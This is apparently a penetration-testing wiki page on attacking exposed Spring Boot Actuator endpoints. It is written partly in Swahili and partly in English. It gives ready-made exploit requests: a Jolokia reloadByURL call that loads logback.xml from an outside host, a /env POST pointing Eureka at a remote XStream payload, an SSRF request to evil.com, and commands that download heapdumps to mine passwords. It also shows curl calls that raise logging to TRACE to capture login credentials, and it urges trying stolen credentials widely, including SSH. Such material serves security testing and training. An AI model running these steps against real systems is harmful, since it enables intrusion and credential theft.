# Spring Actuators

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## **Spring Auth Bypass**

<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>

**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)

## Exploiting Spring Boot Actuators

**Angalia chapisho la awali kutoka** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]

### **Mambo Muhimu:**

- Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. Katika toleo 1 hadi 1.4, endpoints hizi zinaweza kupatikana bila uthibitisho. Kuanzia toleo 1.5 na baadaye, `/health` na `/info` pekee ndizo zisizo hatarishi kwa chaguo-msingi, lakini watengenezaji mara nyingi hufuta usalama huu.
- Endpoints fulani za Actuator zinaweza kufichua data nyeti au kuruhusu vitendo hatarishi:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
- Katika Spring Boot 1.x, actuators zinajiandikisha chini ya root URL, wakati katika 2.x, ziko chini ya base path ya `/actuator/`.

### **Exploitation Techniques:**

1. **Remote Code Execution via '/jolokia'**:
- The `/jolokia` actuator endpoint exposes the Jolokia Library, ambayo inaruhusu upatikanaji wa MBeans kwa kupitia HTTP.
- The `reloadByURL` action inaweza kutumika kwa kureload configuration za logging kutoka kwenye URL ya nje, jambo ambalo linaweza kusababisha blind XXE au Remote Code Execution kupitia XML zilizotengenezwa mahsusi.
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:

- Ikiwa Spring Cloud Libraries zipo, endpoint ya `/env` inaruhusu mabadiliko ya properties za mazingira.
- Properties zinaweza kubadilishwa ili kutilia mtego udhaifu mbalimbali, kama vile udhaifu wa XStream deserialization katika Eureka serviceURL.
- Example exploit POST request:

```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```

3. **Other Useful Settings:**
- Properties kama `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, na `spring.datasource.tomcat.max-active` zinaweza kubadilishwa kwa ajili ya exploits mbalimbali, kama SQL injection au kubadilisha connection strings za database.

### **Taarifa za Ziada:**

- Orodha kamili ya actuators chaguo-msingi inapatikana [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- The `/env` endpoint katika Spring Boot 2.x inatumia muundo wa JSON kwa mabadiliko ya property, lakini dhana kuu inabaki ile ile.

### **Mada Zinazohusiana:**

1.  **Env + H2 RCE**:
- Maelezo juu ya kutumia mchanganyiko wa endpoint ya `/env` na database ya H2 yanapatikana [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).

2.  **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Jinsi framework ya Spring inavyoshughulikia matrix parameters (`;`) katika pathnames za HTTP inaweza kutumika kwa Server-Side Request Forgery (SSRF).
- Example exploit request:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## HeapDump secrets mining (credentials, tokens, internal URLs)

Ikiwa `/actuator/heapdump` imefunuliwa, kwa kawaida unaweza kupata snapshot kamili ya JVM heap ambayo mara nyingi ina siri zinazoishi (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, n.k.).

- Download and quick triage:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```

- Deeper analysis with VisualVM and OQL:
- Fungua heapdump katika VisualVM, chunguza instances za `java.lang.String` au endesha OQL kutafuta siri:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```

- Automated extraction with JDumpSpider:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Matokeo ya kawaida yenye thamani kubwa:
- Spring `DataSourceProperties` / `HikariDataSource` objects zinazoonyesha `url`, `username`, `password`.
- `OriginTrackedMapPropertySource` entries zinazoonyesha `management.endpoints.web.exposure.include`, ports za huduma, na Basic-Auth iliyojazwa ndani ya URLs (mfano, Eureka `defaultZone`).
- Vipande vya kawaida vya HTTP request/response vinavyojumuisha `Authorization: Basic ...` vilivyokamatwa ndani ya memory.

Tips:
- Tumia wordlist inayolenga Spring kugundua actuator endpoints haraka (mfano, SecLists spring-boot.txt) na hakikisha kila mara kama `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, na `/actuator/configprops` pia zimefunuliwa.
- Credentials kutoka heapdump mara nyingi hufanya kazi kwa huduma za jirani na wakati mwingine kwa watumiaji wa mfumo (SSH), hivyo vijaribu kwa upana.

## Kutumia vibaya Actuator loggers/logging kushika credentials

Ikiwa `management.endpoints.web.exposure.include` inaruhusu na `/actuator/loggers` imefunuliwa, unaweza kwa nguvu kuongeza viwango vya logi kwa njia ya dynamic kuwa DEBUG/TRACE kwa packages zinazoshughulikia authentication na request processing. Ikichanganywa na logi zinazoweza kusomwa (kupitia `/actuator/logfile` au njia za logi zinazoeleweka), hii inaweza leak credentials zilizowasilishwa wakati wa login flows (mfano, Basic-Auth headers au form parameters).

- Enumerate and crank up sensitive loggers:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```

- Find where logs are written and harvest:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```

- Trigger login/authentication traffic and parse the log for creds. Katika setups za microservice zenye gateway inayokinga auth, kuwezesha TRACE kwa packages za gateway/security mara nyingi hufanya headers na bodies za form kuwa zinazoonekana. Baadhi ya mazingira hata huunda synthetic login traffic kwa vipindi, hivyo kusanya kwa urahisi mara logging inapokuwa verbose.

Notes:
- Rudisha viwango vya logi ukimaliza: `POST /actuator/loggers/<logger>` ukiweka `{ "configuredLevel": null }`.
- Ikiwa `/actuator/httpexchanges` imefunuliwa, pia inaweza kuonyesha metadata ya maombi ya hivi karibuni ambayo inaweza kujumuisha headers zenye nyeti.

## References

- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)

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